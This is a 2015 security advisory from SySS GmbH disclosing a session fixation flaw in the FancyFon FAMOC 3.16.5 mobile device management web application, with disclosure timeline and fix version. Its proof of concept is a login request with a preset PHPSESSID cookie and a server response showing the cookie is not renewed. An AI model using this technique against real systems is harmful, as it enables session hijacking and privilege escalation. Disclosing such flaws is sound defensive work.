FancyFon FAMOC 3.16.5 Session Fixation

2015.01.28
Credit: Matthias Deeg
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-384

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512 Advisory ID: SYSS-2014-012 Product(s): FAMOC Vendor: FancyFon Affected Version(s): 3.16.5 Tested Version(s): 3.16.5 Vulnerability Type: Session Fixation (CWE-384) Risk Level: Low Solution Status: Fixed Vendor Notification: 2014-12-19 Solution Date: 2015-01-23 Public Disclosure: 2015-01-23 CVE Reference: Not yet assigned Author of Advisory: Matthias Deeg (SySS GmbH) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Overview: FAMOC is a mobile device management software by FancyFon supporting different kinds of mobile devices. The vendor FancyFon describes the product as follows (see [1]): "FAMOC is a flexible and open mobile device lifecycle management solution, enabling any number of smartphones using a variety of operating systems, to be centrally and remotely managed, over the Internet." ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Vulnerability Details: The SySS GmbH found a session fixation vulnerability the web application component of the FAMOC mobile device management solution. This type of vulnerability allows an attacker to predetermine the session cookie value of his victims, for example via a cross-site scripting attack, in order to hijack user sessions of other users and thus performing a privilege escalation attack. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Proof of Concept (PoC): HTTP POST request for user login with a preset session cookie value: POST /index.php? HTTP/1.1 Host: <HOST> Cookie: PHPSESSID=00000000000000000000000000 Content-Type: application/x-www-form-urlencoded Content-Length: 28 login=<USERNAME>&pass=<PASSWORD> HTTP response from the FAMOC MDM web application without setting a new session cookie value: HTTP/1.1 200 OK Date: Fri, 14 Nov 2014 08:45:51 GMT Server: Apache Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Type: text/html; charset=utf-8 Connection: close Content-Length: 25027 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><!----> <html> <head> <title>FAMOC</title> (...) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Solution: Update to FAMOC software version 3.17.4. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclosure Timeline: 2014-12-19: Vulnerability reported to vendor 2014-12-19: Vendor acknowledges e-mail with SySS security advisory 2015-01-16: Contacted vendor for status information about the reported vulnerability 2015-01-23: Vendor responds that this security vulnerability was addressed in the FAMOC software version 3.17.4. Public release of security advisory ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ References: [1] Product Web Site for FAMOC Mobile Device Management http://www.fancyfon.com/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Credits: This security vulnerability was found by Matthias Deeg of the SySS GmbH. E-Mail: matthias.deeg (at) syss.de Public Key: https://www.syss.de/fileadmin/dokumente/Materialien/PGPKeys/Matthias_Deeg.asc Key fingerprint = 5AE3 96EE A014 FB90 9D81 AF90 8C54 7E88 A34C CED8 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclaimer: The information provided in this security advisory is provided "as is" and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible. The latest version of this security advisory is available on the SySS Web site. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Copyright: Creative Commons - Attribution (by) - Version 3.0 URL: http://creativecommons.org/licenses/by/3.0/deed.en -----BEGIN PGP SIGNATURE----- iEYEAREKAAYFAlTCLOoACgkQjFR+iKNMztgWrgCeJGv2DpQmi3Wmn0ETcCT2N8K1 fogAn1AkrkOUIpJN6HIebRUAGpvYLugI =OhAR -----END PGP SIGNATURE-----


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